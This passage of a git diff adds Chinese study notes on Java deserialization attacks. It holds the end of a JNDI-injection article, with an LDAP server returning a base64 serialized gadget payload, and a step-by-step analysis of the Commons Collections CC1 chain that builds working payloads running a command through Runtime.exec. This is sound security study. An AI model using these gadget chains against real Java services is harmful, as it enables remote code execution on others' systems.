"Y3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL" + + "09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdA" + + "ASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHA" + + "AAAACdAAKZ2V0UnVudGltZXB0ABFnZXREZWNsYXJlZE1ldGhvZHVyABJbTGphdmEubGFuZy5DbGFzc" + + "zurFteuy81amQIAAHhwAAAAAnZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHZxAH4AHHN" + + "xAH4AE3VxAH4AGAAAAAJwcHQABmludm9rZXVxAH4AHAAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAA" + + "AAAAAAAAAAAeHB2cQB+ABhzcQB+ABN1cQB+ABgAAAABdAAEY2FsY3QABGV4ZWN1cQB+ABwAAAABcQB" + + "+AB9zcQB+AAA/QAAAAAAADHcIAAAAEAAAAAB4eHQABHRlc3R4"; + e.addAttribute("javaClassName", "Exploit"); + e.addAttribute("javaSerializedData", Base64.getDecoder().decode(base64Data)); + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } + + } +} +``` + +客户端代码不变,运行后依旧能成功命令执行。 + +这样的方式就不需要受害者去远程加载类,而只需要客户端本地有对应的依赖即可。 + +#### 原理分析 + +LDAP 对于 javaSerializedData 数据反序列化的地方在 com.sun.jndi.ldap.Obj#decodeObject(Attributes),这部分不再分析。 + +## 参考文章 + +[JNDI 注入漏洞的前世今生](https://evilpan.com/2021/12/13/jndi-injection/) + +[Java 反序列化之 JNDI 学习](https://drun1baby.top/2022/07/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BJNDI%E5%AD%A6%E4%B9%A0/) + +[Java 安全学习 —— JNDI 注入](https://goodapple.top/archives/696) + +[JNDI 重看](https://stoocea.github.io/post/JNDIRe0.html) diff --git a/books/漏洞篇 - Java 反序列化之 CC1 链.md b/books/漏洞篇 - Java 反序列化之 CC1 链.md new file mode 100644 index 0000000..1e25b3f --- /dev/null +++ b/books/漏洞篇 - Java 反序列化之 CC1 链.md @@ -0,0 +1,1075 @@ +# 漏洞篇 - Java 反序列化之 CC1 链 +> 2024-05-10 +> 来源:https://changeyourway.github.io/2024/05/10/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-CC1%E9%93%BE%E5%88%86%E6%9E%90/ + +Apache Commons Collections 是对 java.util.Collection 的扩展,对常用的集合操作进行了很好的封装、抽象和补充,在保证性能的同时大大简化代码。CC 链正是在 Commons Collections 包中的反序列化利用链,本次介绍的是 CC1 链。 + +## CC1 链 + +Apache Commons Collections 是对 java.util.Collection 的扩展,对常用的集合操作进行了很好的封装、抽象和补充,在保证性能的同时大大简化代码。 + +CC 链正是在 Commons Collections 包中的反序列化利用链,本次介绍的是 CC1 链。 + +### 环境准备 + +- java = 8u65 +- CommonsCollections = 3.2.1 + +``` + + commons-collections + commons-collections + 3.2.1 + +``` + +### Transformer 接口 + +Apache Commons Collections 包中定义的一个接口,该接口的实现类中包含执行类。 + +``` +package org.apache.commons.collections; + +public interface Transformer { + Object transform(Object var1); +} +``` + +该类中声明了一个 transform 方法。 + +鼠标双击选中类名后,Ctrl + H 可以查看该类的继承关系: + +![](https://changeyourway.github.io/images/image-20240504111943167.png) + +### 执行类 InvokerTransformer + +该类实现了 Transformer 接口与 Serializable 接口,定义如下: + +``` +public class InvokerTransformer implements Transformer, Serializable +``` + +###### 利用点在 InvokerTransformer 类重写的 transform 方法中: + +``` +public Object transform(Object input) { + if (input == null) { + return null; + } else { + try { + Class cls = input.getClass(); + Method method = cls.getMethod(this.iMethodName, this.iParamTypes); + return method.invoke(input, this.iArgs); + } catch (NoSuchMethodException var4) { + throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); + } catch (IllegalAccessException var5) { + throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); + } catch (InvocationTargetException var6) { + throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6); + } + } +} +``` + +其中, + +``` +Class cls = input.getClass(); +Method method = cls.getMethod(this.iMethodName, this.iParamTypes); +return method.invoke(input, this.iArgs); +``` + +会通过反射执行 “input” 类的 “this.iMethodName” 方法,并将 “this.iParamTypes” 类型的参数 “this.iArgs” 传入。 + +再来看, input 是 transform 方法的参数,iMethodName ,iParamTypes 和 this.iArgs 都是 InvokerTransformer 中定义的属性: + +``` +private final String iMethodName; +private final Class[] iParamTypes; +private final Object[] iArgs; +``` + +并且在 InvokerTransformer 类的三参构造方法中会赋值: + +``` +public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { + this.iMethodName = methodName; + this.iParamTypes = paramTypes; + this.iArgs = args; +} +``` + +也就是说,这里的所有参数均可控,那么可以简单的写个小程序验证一下。 + +###### 直接利用 InvokerTransformer 弹出计算器 + +``` +public class Demo1 { + public static void main(String[] args) { + Runtime runtime = Runtime.getRuntime(); + InvokerTransformer invokerTransformer = + new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); + invokerTransformer.transform(runtime); + } +} +``` + +运行结果: + +![](https://changeyourway.github.io/images/image-20240504114336455.png) + +成功弹出计算器,原理就是通过 invokerTransformer.transform 调用了 runtime 对象的 exec 方法并将 “calc” 作为参数传入。 + +接下来就是要找谁调用了 transform 方法,其实 TransformedMap 类调用了此方法。 + +### 利用链之 TransformedMap 类 + +TransformedMap 类的 checkSetValue 方法调用了 this.valueTransformer 的 transform 方法: + +``` +protected Object checkSetValue(Object value) { + return this.valueTransformer.transform(value); +} +``` + +而 valueTransformer 是 TransformedMap 中定义的属性: + +``` +protected final Transformer valueTransformer; +``` + +这个属性在构造方法中被赋值: + +``` +protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { + super(map); + this.keyTransformer = keyTransformer; + this.valueTransformer = valueTransformer; +} +``` + +由于构造方法是 protected 修饰的,不能直接被调用,所以还要找是谁调用了 TransformedMap 的构造方法。 + +TransformedMap 的 decorate 方法调用了 TransformedMap 的构造方法: + +``` +public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { + return new TransformedMap(map, keyTransformer, valueTransformer); +} +``` + +通过这个方法,我们可以将 valueTransformer 属性赋值成 InvokerTransformer 类的对象。 + +或者也可以直接反射赋值。 + +接下来还要找是谁调用了 TransformedMap 的 checkSetValue 方法,AbstractInputCheckedMapDecorator 类调用了此方法。 + +### 利用链之 AbstractInputCheckedMapDecorator 类 + +AbstractInputCheckedMapDecorator 是 TransformedMap 的父类。 + +#### MapEntry 静态内部类 + +在这个类中有一个名为 MapEntry 的静态内部类: + +``` +static class MapEntry extends AbstractMapEntryDecorator { + private final AbstractInputCheckedMapDecorator parent; + + protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) { + super(entry); + this.parent = parent; + } + + public Object setValue(Object value) { + value = this.parent.checkSetValue(value); + return this.entry.setValue(value); + } +} +``` + +MapEntry 的 setValue 方法中调用了 this.parent 的 checkSetValue 方法: + +``` +public Object setValue(Object value) { + value = this.parent.checkSetValue(value); + return this.entry.setValue(value); +} +``` + +parent 是 MapEntry 中定义的一个私有属性: + +``` +private final AbstractInputCheckedMapDecorator parent; +``` + +这个属性在 MapEntry 的构造方法中被赋值: + +``` +protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) { + super(entry); + this.parent = parent; +} +``` + +由于这个构造方法是被 protected 修饰的,所以还是要找是谁调用了它。其实是隔壁的静态内部类 EntrySetIterator 调用了它。 + +#### EntrySetIterator 静态内部类 + +EntrySetIterator 也是 AbstractInputCheckedMapDecorator 中的静态内部类: + +``` +static class EntrySetIterator extends AbstractIteratorDecorator { + private final AbstractInputCheckedMapDecorator parent; + + protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) { + super(iterator); + this.parent = parent; + } + + public Object next() { + Map.Entry entry = (Map.Entry)this.iterator.next(); + return new MapEntry(entry, this.parent); + } +} +``` + +可以看到 EntrySetIterator 的 next 方法中调用了 MapEntry 的构造方法: + +``` +public Object next() { + Map.Entry entry = (Map.Entry)this.iterator.next(); + return new MapEntry(entry, this.parent); +} +``` + +那么为了调用 EntrySetIterator 的 next 方法,我们需要创建一个 EntrySetIterator 对象,但 EntrySetIterator 的构造方法是被 protected 修饰的,所以还要找是谁调用了 EntrySetIterator 的构造方法。 + +而在隔壁的静态内部类 EntrySet 中调用了 EntrySetIterator 的构造方法 + +#### EntrySet 静态内部类 + +EntrySet 也是 AbstractInputCheckedMapDecorator 中的静态内部类: + +``` +static class EntrySet extends AbstractSetDecorator { + private final AbstractInputCheckedMapDecorator parent; + + protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) { + super(set); + this.parent = parent; + } + + public Iterator iterator() { + return new EntrySetIterator(this.collection.iterator(), this.parent); + } + + // 后面的部分省略 + ...... +} +``` + +EntrySet 的 iterator 方法调用了 EntrySetIterator 的构造方法,同理,在哪里获得 EntrySet 对象呢? + +#### entrySet 成员方法 + +AbstractInputCheckedMapDecorator 类的 public 方法 entrySet 调用了 EntrySet 的构造方法: + +``` +public Set entrySet() { + return (Set)(this.isSetValueChecking() ? new EntrySet(this.map.entrySet(), this) : this.map.entrySet()); +} +``` + +但是到这里还有个问题,获得 EntrySet 对象后怎么去调用它的 iterator 方法呢,以及获得 EntrySetIterator 对象后怎么去调用它的 next 方法呢,这个可以通过增强 for 循环遍历 map 来实现访问。 + +### 增强 for 循环遍历 map 的底层原理 + +`for (Map.Entry entry : map.entrySet())` 实际上相当于以下的迭代器实现: + +``` +Iterator> iterator = map.entrySet().iterator(); +while (iterator.hasNext()) { + Map.Entry entry = iterator.next(); + // 循环体内的代码 +} +``` + +依此道理,如果将 map 赋值为 AbstractInputCheckedMapDecorator 抽象类的子类, + +那么调用 map.entrySet() 方法时,实际上调用的是 AbstractInputCheckedMapDecorator 抽象类中实现的 entrySet() 方法,这个 entrySet() 方法会返回一个 EntrySet 对象, + +那么 map.entrySet().iterator() 实际上调用的是 EntrySet 对象的 iterator 方法,而这个方法返回的是一个 EntrySetIterator 对象, + +那么在接下来的 while 循环中调用的 iterator.next() 方法其实就是 EntrySetIterator 对象的 next() 方法,这个方法会调用 MapEntry 的构造方法,返回一个 MapEntry 对象, + +最终 `for (Map.Entry entry : map.entrySet())` 这个增强 for 获取到的 entry 就是一个 MapEntry 对象, + +最后的最后,我们手动调用这个 entry 的 setValue 方法即可。 + +至此,整条链子就串联起来了。 + +### 写个程序实现上面的利用链 + +###### payload + +下面的代码运行后会弹出计算器: + +``` +public class Demo2 { + public static void main(String[] args) { + Runtime runtime = Runtime.getRuntime(); + InvokerTransformer invokerTransformer = + new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); + + HashMap map = new HashMap<>(); + map.put("key", "value"); + Map transformedmap = TransformedMap.decorate(map, null, invokerTransformer); + + for (Map.Entry entry : transformedmap.entrySet()) { + entry.setValue(runtime); + } + } +} +``` + +###### 通过调试来理解其中逻辑 + +Java 代码有一个特点,Java 的实例方法调用是基于运行时的实际类型的动态调用,而非变量的声明类型,这就是 Java 的多态性。 + +也因此,只有当程序运行起来才知道某个方法调用的究竟是哪个类的方法。所以说:调试是学习过程中必不可少的一环。 + +前面的逻辑应该都好理解,直接在最后一个 for 循环和 setValue 处下断点: + +![](https://changeyourway.github.io/images/image-20240504161343935.png) + +开始调试,单步进入: + +![](https://changeyourway.github.io/images/image-20240504161514692.png) + +此时来到了 AbstractInputCheckedMapDecorator 抽象类的 entrySet 方法,不过严格来说,应该是调用了 TransformedMap 的 entrySet 方法(因为 TransformedMap 继承了 AbstractInputCheckedMapDecorator 抽象类,拥有了它的所有方法,所以 TransformedMap 中其实是有 entrySet 方法的,只不过在代码上看不到) + +**所以一个很重要的点是,这里的 this 指代的是谁?指代的是 AbstractInputCheckedMapDecorator 吗?不对,指代的是 TransformedMap 对象,一定记住,因为后续会将这个值层层传递下去。** + +继续单步进入: + +![](https://changeyourway.github.io/images/image-20240504161935980.png) + +此时来到了 TransformedMap 重写的 isSetValueChecking 方法,由于 valueTransformer 已经被赋值,所以这里应当返回 true 。 + +继续单步进入: + +![](https://changeyourway.github.io/images/image-20240504162201258.png) + +由于上一步返回 true ,所以这里应当会调用 EntrySet 的构造方法。 + +继续单步进入: + +![](https://changeyourway.github.io/images/image-20240504162305515.png) + +调用了 EntrySet 的构造方法,并传入一个 TransformedMap 对象给 EntrySet 的私有属性 parent 赋值。 + +这里可以不用看了,直接 step out 跳出: + +![](https://changeyourway.github.io/images/image-20240504162449686.png) + +回到 entrySet 成员方法这里,此时应当返回一个 EntrySet 对象。 + +继续单步进入: + +![](https://changeyourway.github.io/images/image-20240504162533758.png) + +此时回到初始代码,准备开始 for 循环。 + +继续单步进入: + +![](https://changeyourway.github.io/images/image-20240504162632352.png) + +此时来到了 EntrySet 的 iterator 方法,获取 EntrySetIterator 对象。 + +继续单步进入,选择查看 EntrySetIterator 构造方法: + +![](https://changeyourway.github.io/images/image-20240504162802621.png) + +构造方法中将 EntrySet 的 parent 传了过来,赋值给了自己的私有属性 parent ,此时它是一个 TransformedMap 对象。 + +这里可以不用看了,直接 step out 跳出: + +![](https://changeyourway.github.io/images/image-20240504163016036.png) + +回到迭代器这里,这个方法将会返回一个 EntrySetIterator 对象。 + +继续单步进入: + +![](https://changeyourway.github.io/images/image-20240504163117017.png) + +回到了初始代码。 + +继续单步进入: + +![](https://changeyourway.github.io/images/image-20240504163155507.png) + +开始进行 hasNext 判断,因为是第一次遍历,集合中有值,这里应当返回 true 。 + +继续单步进入: + +![](https://changeyourway.github.io/images/image-20240504163317122.png) + +回到了初始代码。 + +继续单步进入: + +![](https://changeyourway.github.io/images/image-20240504163347920.png) + +此时来到了 EntrySetIterator 的 next 方法。 + +第一步可以不用看,直接 step over 进入下一步,再单步进入: + +![](https://changeyourway.github.io/images/image-20240504163550283.png) + +此时来到了 MapEntry 的构造方法,将 EntrySetIterator 的 parent 值传给了自己的私有属性 parent ,此时它是一个 TransformedMap 对象。 + +接下来可以不用看了,step out 跳出构造方法,再跳出 EntrySetIterator 的 next 方法,回到初始代码这里: + +![](https://changeyourway.github.io/images/image-20240504163849962.png) + +此时的 entry 是一个 MapEntry 对象,单步进入它的 setValue 方法: + +![](https://changeyourway.github.io/images/image-20240504164026799.png) + +接下来会进入 this.parent 的 checkSetValue 方法,如上所言,this.parent 应当指代的是 TransformedMap 对象,那么接下来会调用这个 TransformedMap 对象的 checkSetValue 方法,单步进入看看: + +![](https://changeyourway.github.io/images/image-20240504165625348.png) + +没问题,接下来会调用 valueTransformer 的 transform 方法,valueTransformer 已经被赋值为一个 InvokerTransformer 对象,接下来将会调用 InvokerTransformer 的 transform 方法。 + +单步进入: + +![](https://changeyourway.github.io/images/image-20240504165945559.png) + +这个 InvokerTransformer 对象也已经被初始化,前面的 setValue 的参数 runtime 传递给了 checkSetValue ,最后又传递给了 transform ,所以这里的 input 参数应当是一个 Runtime 对象。 + +到这里就可以直接下一步下一步了,执行完 method.invoke 就会弹出计算器: + +![](https://changeyourway.github.io/images/image-20240504170319433.png) + +好了,后面的就不调了。通过这次调试,想必逻辑大致能理清楚了。 + +### 反序列化利用 + +作为一条反序列化利用链,最终还是要归到 readObject 这里,毕竟实际情况下 setValue 可不是我们自己能手动调用的,所以我们要找谁的 readObject 方法里调用了 setValue 。 + +AnnotationInvocationHandler 类的 readObject 方法里就调用了 setValue 。 + +#### 入口类 AnnotationInvocationHandler + +看看 readObject 方法: + +``` +private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { + var1.defaultReadObject(); + AnnotationType var2 = null; + + try { + var2 = AnnotationType.getInstance(this.type); + } catch (IllegalArgumentException var9) { + throw new InvalidObjectException("Non-annotation type in annotation serial stream"); + } + + Map var3 = var2.memberTypes(); + Iterator var4 = this.memberValues.entrySet().iterator(); + + while(var4.hasNext()) { + Map.Entry var5 = (Map.Entry)var4.next(); + String var6 = (String)var5.getKey(); + Class var7 = (Class)var3.get(var6); + if (var7 != null) { + Object var8 = var5.getValue(); + if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { + var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); + } + } + } + +} +``` + +有没有发现跟前面增强 for 循环的底层原理有几分神似?如果没有发现的话我把这一段截取出来: + +``` +Iterator var4 = this.memberValues.entrySet().iterator(); + +while(var4.hasNext()) { + Map.Entry var5 = (Map.Entry)var4.next(); +``` + +依葫芦画瓢,我们想让这个 memberValues 变成 TransformedMap 对象,那么同理 var5 将会被赋值为一个 MapEntry 对象。在之后经过两重判断,就会调用 var5 的 setValue 了。 + +memberValues 是 AnnotationInvocationHandler 类中定义的一个属性: + +``` +private final Map memberValues; +``` + +而这个属性在构造方法中被赋值: + +``` +AnnotationInvocationHandler(Class var1, Map var2) { + Class[] var3 = var1.getInterfaces(); + if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) { + this.type = var1; + this.memberValues = var2; + } else { + throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); + } +} +``` + +但是由于构造方法没有被 public 修饰(不写修饰符默认 default ),不能直接调用,所以我们用反射来获取构造方法。 + +在构造方法中我们也可以看到对传入的参数 var1 做了一些检查: + +1. `var3 = var1.getInterfaces()`:这一行代码获取了 `var1` 类对象实现的所有接口,并将它们存储在 `var3` 数组中。 +2. `if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class)`:这一行代码是一个条件语句,其中包含三个条件: + - `var1.isAnnotation()` 检查 `var1` 是否是一个注解类型。如果 `var1` 是一个注解类型,则返回 `true`。 + - `var3.length == 1` 检查 `var1` 实现的接口数量是否为 1。如果是,则返回 `true`。 + - `var3[0] == Annotation.class` 检查 `var1` 实现的接口中的第一个接口是否是 `Annotation` 接口。如果是,则返回 `true`。 + +为了满足上述条件,我们初步选择传入 Override.class 作为 var1 的值,于是就得到了 payload1 : + +#### payload1 + +``` +public class payload1 { + public static void main(String[] args) throws Exception { + // 获取 Runtime 对象 + Runtime r = Runtime.getRuntime(); + + // 初始化执行类 InvokerTransformer + InvokerTransformer invokerTransformer = + new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); + + HashMap map = new HashMap<>(); + map.put("key", "value"); + + // 初始化利用链 TransformedMap + Map transformedmap = TransformedMap.decorate(map, null, invokerTransformer); + + // 利用反射修改入口类 AnnotationInvocationHandler 的 memberValues 属性 + Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); + Constructor annotationInvocationConstructor = c.getDeclaredConstructor(Class.class, Map.class); + annotationInvocationConstructor.setAccessible(true); + // 为了通过 isAnnotation 判断,选择将 Override.class 传入第一个参数 + Object o = annotationInvocationConstructor.newInstance(Override.class, transformedmap); + + // serialize(o); + unserialize("ser.bin"); + + } + + public static void serialize(Object obj) throws Exception { + ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); + oos.writeObject(obj); + } + + public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { + ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); + Object obj = ois.readObject(); + return obj; + } + +} +``` + +先序列化再反序列化,反序列化时应当弹出计算器。但实际上什么也没发生。原因有很多,先来解决第一个。 + +#### Runtime 类不能被序列化解决办法 + +翻看 Runtime 类的定义,会发现它并没有实现 Serializable 接口: + +``` +public class Runtime +``` + +要如何解决这个问题呢?在前面的学习中我们能发现 InvokerTransformer 类的 transform 方法能够通过执行任意类的任意方法,假如我们让它执行 Runtime.class 对象的 getDeclaredMethod 方法,并将 getRuntime 作为参数传入,那么我们就能获取到 Runtime 的 getRuntime 方法了。 + +**具体代码如下:** + +``` +Method getRuntimeMethod = + (Method)new InvokerTransformer + ("getDeclaredMethod", + new Class[]{String.class,Class[].class}, + new Object[]{"getRuntime",null}).transform(Runtime.class); +``` + +其实就相当于这句代码: + +``` +Method getRuntimeMethod = Runtime.class.getDeclaredMethod("getRuntime",null) +``` + +这样得到的 getRuntimeMethod 就是 Runtime 的 getRuntime 方法了。 + +**接下来我要调用 getRuntimeMethod 方法,还是通过 InvokerTransformer 类的 transform 方法来调用:** + +``` +Runtime r = + (Runtime) new InvokerTransformer + ("invoke", + new Class[]{Object.class,Object[].class}, + new Object[]{null,null}).transform(getRuntimeMethod); +``` + +其实就相当于这句代码: + +``` +Runtime runtime = getRuntimeMethod.invoke(null, null) +``` + +执行 getRuntime 方法后返回 Runtime 对象,很合理。 + +**接下来我要调用这个 Runtime 对象的 exec 方法,依然是通过 InvokerTransformer 类的 transform 方法来调用:** + +``` +new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime); +``` + +其实就相当于这句代码: + +``` +runtime.exec("calc") +``` + +经过上面的三步操作就可以调用 exec 恶意函数了。但其实这段代码还可以再优雅一点,可以用 ChainedTransformer 类来简化操作。 + +#### ChainedTransformer 类 + +**利用 ChainedTransformer 可将上述三段代码简化成如下代码:** + +``` +Transformer[] transformers = new Transformer[]{ + new InvokerTransformer + ("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), + new InvokerTransformer + ("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), + new InvokerTransformer + ("exec", new Class[]{String.class}, new Object[]{"calc"}) +}; +ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); +chainedTransformer.transform(Runtime.class); +``` + +**要了解具体原理,我们可以查看 chainedTransformer 类的构造方法:** + +``` +public ChainedTransformer(Transformer[] transformers) { + this.iTransformers = transformers; +} +``` + +可以看到,构造方法中接收一个 Transformer 数组,并将这个数组赋值给 this.iTransformers 。 + +**而 iTransformers 是 ChainedTransformer 中定义的属性:** + +``` +private final Transformer[] iTransformers; +``` + +**接着来看 chainedTransformer 类的 transform 方法:** + +``` +public Object transform(Object object) { + for(int i = 0; i < this.iTransformers.length; ++i) { + object = this.iTransformers[i].transform(object); + } + + return object; +} +``` + +chainedTransformer 类的 transform 方法遍历 iTransformers 数组中的每一个元素并依次执行它们的 transform 方法,并将前一个 transform 方法的结果作为后一个 transform 方法的参数。 + +看到这里就应该大致能明白了,就是把数组中的每一个 InvokerTransformer 对象取出来再调用它们的 transform 方法,并把上一段代码的输出作为下一段代码的输入,这样就完美替代了上面的三段代码。于是我们得到 payload2: + +#### payload2 + +``` +public class payload2 { + public static void main(String[] args) throws Exception { + // 获取包含执行类 InvokerTransformer 的 ChainedTransformer 对象 + Transformer[] transformers = new Transformer[]{ + new InvokerTransformer + ("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), + new InvokerTransformer + ("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), + new InvokerTransformer + ("exec", new Class[]{String.class}, new Object[]{"calc"}) + }; + ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); + + // 随便构造一个 Map 对象作为 TransformedMap.decorate 的参数 + HashMap map = new HashMap<>(); + map.put("key", "value"); + + // 初始化利用链 TransformedMap + Map transformedmap = TransformedMap.decorate(map, null, chainedTransformer); + + // 利用反射修改入口类 AnnotationInvocationHandler 的 memberValues 属性 + Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); + Constructor annotationInvocationConstructor = c.getDeclaredConstructor(Class.class, Map.class); + annotationInvocationConstructor.setAccessible(true); + // 为了通过 isAnnotation 判断,选择将 Override.class 传入第一个参数 + Object o = annotationInvocationConstructor.newInstance(Override.class, transformedmap); + + serialize(o); + // unserialize("ser.bin"); + } + + public static void serialize(Object obj) throws Exception { + ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); + oos.writeObject(obj); + } + + public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { + ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); + Object obj = ois.readObject(); + return obj; + } +} +``` + +payload2 解决了 Runtime 类不能被序列化的问题,在序列化时,由于 ChainedTransformer 的 transform 方法并没有被执行,所以并没有生成 Runtime 对象,只有在反序列化 readObject 时才被执行。 + +但是 payload2 还是无法使用,这是因为 AnnotationInvocationHandler 类的 readObject 方法中的最后一个 while 循环中还有两个判断没绕过,以及 var5 的 setValue 方法的参数还没有作控制。 + +#### 判断绕过 + +###### 这里再贴一下 AnnotationInvocationHandler 类的 readObject 方法: + +``` +private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { + var1.defaultReadObject(); + AnnotationType var2 = null; + + try { + var2 = AnnotationType.getInstance(this.type); + } catch (IllegalArgumentException var9) { + throw new InvalidObjectException("Non-annotation type in annotation serial stream"); + } + + Map var3 = var2.memberTypes(); + Iterator var4 = this.memberValues.entrySet().iterator(); + + while(var4.hasNext()) { + Map.Entry var5 = (Map.Entry)var4.next(); + String var6 = (String)var5.getKey(); + Class var7 = (Class)var3.get(var6); + if (var7 != null) { + Object var8 = var5.getValue(); + if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { + var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); + } + } + } + +} +``` + +###### 第一重判断 `if (var7 != null)` 绕过 + +为了经过第一重判断,我们需要追本溯源,看看 var7 是怎么来的: + +``` +Class var7 = (Class)var3.get(var6); +``` + +var7 是通过 var3 的 get 方法获取到的,看看 var3 是怎么来的: + +``` +Map var3 = var2.memberTypes(); +``` + +var3 是通过 var2 的 memberTypes 方法获取到的 Map 对象,因此 var3 的 get 方法应当是根据键返回对应的值。 + +看看 var2 怎么来的: + +``` +AnnotationType var2 = null; + +try { + var2 = AnnotationType.getInstance(this.type); +} catch (IllegalArgumentException var9) { + throw new InvalidObjectException("Non-annotation type in annotation serial stream"); +} +``` + +var2 是一个 AnnotationType 对象,见名知义,就是注解类型。这里是调用了 AnnotationType.getInstance 方法再将 this.type 作为参数传入。 + +而 type 是 AnnotationInvocationHandler 类中定义的一个属性: + +``` +private final Class type; +``` + +与 memberValues 一同在构造方法中被赋值: + +``` +AnnotationInvocationHandler(Class var1, Map var2) { + Class[] var3 = var1.getInterfaces(); + if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) { + this.type = var1; + this.memberValues = var2; + } else { + throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); + } +} +``` + +可以看到 this.type 其实就是我们传入的注解类 Override.class 。 + +**梳理一下上面的过程** + +传入的 Override.class 就是 AnnotationInvocationHandler 类的 type 属性值; + +type 属性值被传入 AnnotationType.getInstance 方法作为参数,得到的返回值就是 var2 ,而 AnnotationType 类的 getInstance 方法会返回一个包含指定注解的信息的 AnnotationType 对象; + +接下来调用 var2 的 memberTypes 方法获取 var2 的 memberTypes 属性,并将其赋值给 var3。memberTypes 属性的值是在 AnnotationType.getInstance 方法调用时被赋予的,即传入的指定注解(Override.class)的成员属性的类型。由于 Override 类并没有成员属性,所以 memberTypes 为空,所以 var3 也为空。 + +那么接下来通过 var3 的 get 方法获取到的 var7 自然也为空。 + +**解决方案** + +为了解决这个问题,只需要传入一个有成员属性的注解类即可,这里选择 Target.class(选其他的也可以,比如 Retention.class): + +``` +@Documented +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.ANNOTATION_TYPE) +public @interface Target { + /** + * Returns an array of the kinds of elements an annotation type + * can be applied to. + * @return an array of the kinds of elements an annotation type + * can be applied to + */ + ElementType[] value(); +} +``` + +并且在调用 var3 的 get 方法时需要传入一个参数 var6 ,所以需要修改 var6 为此时 var3 中存在的键名 value(这个键名是通过调试知道的,后面会调试),这样就能顺利地调用 get 方法获取键名中的键值了。 + +var6 是这样来的 + +``` +Map.Entry var5 = (Map.Entry)var4.next(); +String var6 = (String)var5.getKey(); +``` + +前面在分析入口类 AnnotationInvocationHandler 的 readObject 方法时,我们讲到 var5 应该是一个 MapEntry 对象,这个对象中存储的键值对其实就是我们给 TransformedMap.decorate 方法传入的 map 参数,那么我们直接修改传入的键为 value 即可。 + +于是得到 payload3: + +###### payload3 + +``` +public class payload3 { + public static void main(String[] args) throws Exception { + // 获取包含执行类的 ChainedTransformer 对象 + Transformer[] transformers = new Transformer[]{ + new InvokerTransformer + ("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), + new InvokerTransformer + ("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), + new InvokerTransformer + ("exec", new Class[]{String.class}, new Object[]{"calc"}) + }; + ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); + + // 构造一个 Map 对象,键为 value + HashMap map = new HashMap<>(); + map.put("value", "test"); + + // 初始化利用链 TransformedMap + Map transformedmap = TransformedMap.decorate(map, null, chainedTransformer); + + // 利用反射修改入口类 AnnotationInvocationHandler 的 memberValues 属性 + Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); + Constructor annotationInvocationConstructor = c.getDeclaredConstructor(Class.class, Map.class); + annotationInvocationConstructor.setAccessible(true); + // 将有成员属性的 Target.class 传入 + Object o = annotationInvocationConstructor.newInstance(Target.class, transformedmap); + + // serialize(o); + unserialize("ser.bin"); + } + + public static void serialize(Object obj) throws Exception { + ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); + oos.writeObject(obj); + } + + public static Object unserialize(String Filename) throws IOException, 